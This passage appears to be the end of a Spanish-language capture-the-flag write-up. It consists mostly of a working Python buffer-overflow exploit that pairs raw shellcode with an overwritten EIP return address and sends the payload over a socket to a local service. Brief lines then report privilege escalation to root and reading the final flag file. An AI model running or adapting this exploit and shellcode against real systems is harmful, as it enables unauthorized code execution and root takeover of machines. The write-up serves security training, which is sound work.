# Variables Globales
ip_address = '127.0.0.1'
port = 7788
offset = 168
shellcode = (b"\xda\xc3\xbd\x22\x91\x5b\x37\xd9\x74\x24\xf4\x5a\x2b\xc9"
b"\xb1\x12\x31\x6a\x17\x83\xc2\x04\x03\x48\x82\xb9\xc2\xbd"
b"\x7f\xca\xce\xee\x3c\x66\x7b\x12\x4a\x69\xcb\x74\x81\xea"
b"\xbf\x21\xa9\xd4\x72\x51\x80\x53\x74\x39\xd3\x0c\x87\x35"
b"\xbb\x4e\x88\x44\x87\xc6\x69\xf6\x91\x88\x38\xa5\xee\x2a"
b"\x32\xa8\xdc\xad\x16\x42\xb1\x82\xe5\xfa\x25\xf2\x26\x98"
b"\xdc\x85\xda\x0e\x4c\x1f\xfd\x1e\x79\xd2\x7e")
eip = pack('<L',0x8048563)

payload = shellcode + b'A' * (offset - len(shellcode)) + eip

def exploit():

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect((ip_address,port))

    data = b"48093572" + b'\n' + b'3' + b'\n' + payload + b'\n'
    s.send(data)

    msg = s.recv(1024)

    print(msg)


if __name__ == "__main__":

    exploit()

Lo ejecutamos y escalamos privilegios.

Pasted image 20231124093046.png

Hacemos tratamiento de la tty, como root nos dirigimos a nuestra directorio y podemos ver la bandera final llamada TheEnd.txt

Pasted image 20231124093243.png